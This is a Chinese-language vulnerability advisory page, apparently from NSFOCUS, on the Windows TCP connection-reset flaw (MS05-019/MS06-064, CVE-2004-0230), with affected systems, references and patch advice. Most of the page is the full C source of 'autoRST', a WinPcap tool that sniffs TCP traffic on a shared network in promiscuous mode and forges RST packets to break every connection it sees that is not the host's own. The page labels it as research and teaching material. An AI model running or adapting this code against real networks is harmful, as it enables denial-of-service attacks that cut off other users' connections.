安全研究

安全漏洞
Microsoft Windows TCP连接重置漏洞 (MS05-019/MS06-064)

发布日期:2005-04-15
更新日期:2006-10-11

受影响系统:
Microsoft Windows ME
Microsoft Windows 98se
Microsoft Windows 98
Microsoft Windows 2000 SP4
Microsoft Windows 2000 SP3
Microsoft Windows XP SP1
Microsoft Server 2003
描述:
BUGTRAQ  ID: 10183
CVE(CAN) ID: CVE-2004-0230

Microsoft Windows是微软发布的非常流行的操作系统。

Microsoft Windows的TCP实现中存在拒绝服务漏洞,远程攻击者可能利用此漏洞进行拒绝服务攻击。

攻击者可以向受影响的系统发送特制的TCP消息导致重置已有的TCP连接。

<*来源:Microsoft
  
  链接:http://secunia.com/advisories/22341/
        http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
        ftp://patches.sgi.com/support/free/security/advisories/20040403-01-A
        http://www.cisco.com/warp/public/707/cisco-sa-20040420-tcp-ios.shtml,
        http://seclists.org/lists/bugtraq/2004/Dec/0401.html
        http://www.us-cert.gov/cas/techalerts/TA04-111A.html
        http://www.microsoft.com/technet/security/Bulletin/MS06-064.mspx
        http://www.us-cert.gov/cas/techalerts/TA06-283A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/******************************************************************************************
* autoRST
* Matt Edman - Baylor University
* 5/3/2004
*
* DESCRIPTION:
* Sniffs out TCP connections on a non-switched network and attempts to reset them
* by forging a RST packet in the correct window
*
* REQUIRED LIBRARIES:
* -WinPCAP 3.1beta or higher
* -WinPCAP developer's pack
*
* NOTES:
* Just make sure you have WinPCAP 3.1beta or higher installed and the appropriate
* winpcap header files downloaded and paths setup. Other than that, just start it
* up and let it do its job.
******************************************************************************************/
#include <stdio.h>

// WinPCAP includes
#include <pcap.h>
#include <remote-ext.h>

// 6 byte MAC Address
typedef struct mac_address {
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
u_char byte5;
u_char byte6;
}mac_address;

// 4 bytes IP address
typedef struct ip_address{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
}ip_address;

// 20 bytes IP Header
typedef struct ip_header{
    u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
    u_char tos; // Type of service
    u_short tlen; // Total length
    u_short identification; // Identification
    u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
    u_char ttl; // Time to live
    u_char proto; // Protocol
    u_short crc; // Header checksum
    ip_address saddr; // Source address
    ip_address daddr; // Destination address
// u_int op_pad; // Option + Padding -- NOT NEEDED!
}ip_header;

// 20 bytes TCP Header
typedef struct tcp_header {
u_short sport; // Source port
u_short dport; // Destination port
u_int seqnum; // Sequence Number
u_int acknum; // Acknowledgement number
u_char hlen; // Header length
u_char flags; // packet flags
u_short win; // Window size
u_short crc; // Header Checksum
u_short urgptr; // Urgent pointer...still don't know what this is...
}tcp_header;

// FUNCTION PROTOTYPES
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
void print_packet( u_char *pkt, int len );
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win );
u_int iptoUINT( ip_address *ip );
u_short csum (unsigned short *buf, int nwords);

// GLOBAL VARIABLES
pcap_t *adhandle; // The device handle
u_int localaddr; // Local IP Address
struct sockaddr_in *lSock; // Local socket structure


int main( int argc, char *argv[] ) {
pcap_if_t *alldevs;
pcap_if_t *d;

int inum;
int i=0;

char errbuf[PCAP_ERRBUF_SIZE];
char *localIP;

// Get the list of adapters
if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1 ) {
        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
  return 0;
    }

// Print the list of adapters -- from Winpcap sample code
    for( d = alldevs; d != NULL; d = d->next ) {
        printf("%d. %s", ++i, d->name);
        if ( d->description )
            printf(" (%s)\n", d->description);
        else
            printf(" (No description available)\n");
    }
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);

// Traverse the list to the selected adapter
    for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);

// Get the local address
lSock = (struct sockaddr_in *)(d->addresses->addr);
localaddr = lSock->sin_addr.S_un.S_addr;
printf("%d\n", localaddr);

localIP = inet_ntoa(lSock->sin_addr);
printf("Local Addr: %s\n", localIP);

// Open the device for the capture
    if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf ) ) == NULL) {
  fprintf(stderr,"\nUnable to open adapter: %s \n", d->name);
        pcap_freealldevs(alldevs);
        return -1;
    }

    printf("\nListening on %s...\n", d->description);
    pcap_freealldevs(alldevs);
    pcap_loop(adhandle, 0, packet_handler, NULL);

return 0;
}

// CALLBACK function...called for each received packet
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) {
u_int ip_len;

mac_address *srcmac;
mac_address *destmac;

ip_header *iph;
tcp_header *tcph;

destmac = (mac_address *)pkt_data;
srcmac = (mac_address *)(pkt_data + 6);

    iph = (ip_header *) (pkt_data + 14);

if( iph->proto == 0x06 ) { // TCP PACKETS
  if( localaddr != iptoUINT( &iph->saddr ) && localaddr != iptoUINT( &iph->daddr ) ) { // Don't reset our own connection
   ip_len = (iph->ver_ihl & 0xf) * 4;
   tcph = (tcp_header *)(pkt_data + 14 + ip_len);
   if( tcph->flags != 0x04 ) // If the RST flag is already set, no need sending another RST packet
    send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr, tcph->dport, tcph->acknum, tcph->win );
  }
}
}

// Attempts to forge a RST packet and send it back to the source, resetting the TCP connection
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win ) {
u_short tcp_hdrcrc[16];
u_short ip_hdrcrc[10];

u_short tcp_tos = htons(0x06);
u_short tcp_hlen = htons(0x14);
u_short ip_tos = htons(0x0800);

ip_header iph;
tcp_header tcph;
u_char pkt[54];

printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport),
                  destip->byte1, destip->byte2, destip->byte3, destip->byte4, ntohs(dport));

// Setup IP Header
iph.ver_ihl = 0x45;
iph.tos = 0x01;
iph.tlen = htons(40);
iph.identification = htons(0x0800);
iph.flags_fo = 0x0;
iph.ttl = 0xff;
iph.proto = 0x06;
iph.crc = 0x00;
iph.saddr = *destip; // swap the source & dest ips
iph.daddr = *srcip;

// Setup TCP Header
tcph.sport = dport; // swap the source & dest ports
tcph.dport = sport;
tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);
tcph.acknum = tcph.seqnum + htonl(0x1);
tcph.hlen = 0x50;
tcph.flags = 0x04;
tcph.win = win;
tcph.urgptr = 0x00;
tcph.crc = 0x00;

// Calculate the IP Header Checksum
memset(ip_hdrcrc, 0, 20);
memcpy(ip_hdrcrc, &iph, 20);
iph.crc = csum( ip_hdrcrc, 10 );

// Construct the tcp pseudo-header for checksum calculation
memset(tcp_hdrcrc, 0, 32);
memcpy(tcp_hdrcrc, &tcph, 20);
memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);
memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);
memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);
memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);
tcph.crc = csum( tcp_hdrcrc, 16 );

// Assemble the packet
memcpy( pkt, (void *)srcmac, 6 );
memcpy( (void *)(pkt + 6), (void *)destmac, 6 );
memcpy( (void *)(pkt + 12), &ip_tos, 2);
memcpy( (void *)(pkt + 14), &iph, 20 );
memcpy( (void *)(pkt + 14 + sizeof( ip_header )), &tcph, 20 );

// Send the packet
if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0)
  fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle));
}

// Calculates the TCP Checksum based on the helper header
u_short csum (unsigned short *buf, int nwords) {
        unsigned long sum=0;

  for( sum=0; nwords > 0; nwords-- )
                sum += *buf++;
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
  return (u_short)~sum;
}

// Takes in an ip_address structure and returns the equivalent 4byte UINT value
u_int iptoUINT( ip_address *ip ) {
u_int ipaddr;
ipaddr = ip->byte4 | (ip->byte3 << 8);
ipaddr = ipaddr | (ip->byte2 << 16);
ipaddr = ipaddr | (ip->byte1 << 24);
return htonl(ipaddr);
}

// Display the values in the packet on the screen
void print_packet( u_char *pkt, int len ) {
int i;

printf("\tThe Packet\n------------------------------\n");
for( i = 0; i < len; i++ ) {
  if(i%4==0)
  printf("\n");
  printf("0x%x ", pkt[i]);
}
printf("\n");
}

建议:
厂商补丁:

Microsoft
---------
Microsoft已经为此发布了安全公告(MS06-064, MS05-019)以及相应补丁:
MS06-064:Vulnerabilities in TCP/IP IPv6 Could Allow Denial of Service (922819)
链接:http://www.microsoft.com/technet/security/Bulletin/MS06-064.mspx

MS05-019:Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service (893066)
链接:http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx

浏览次数:6941
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障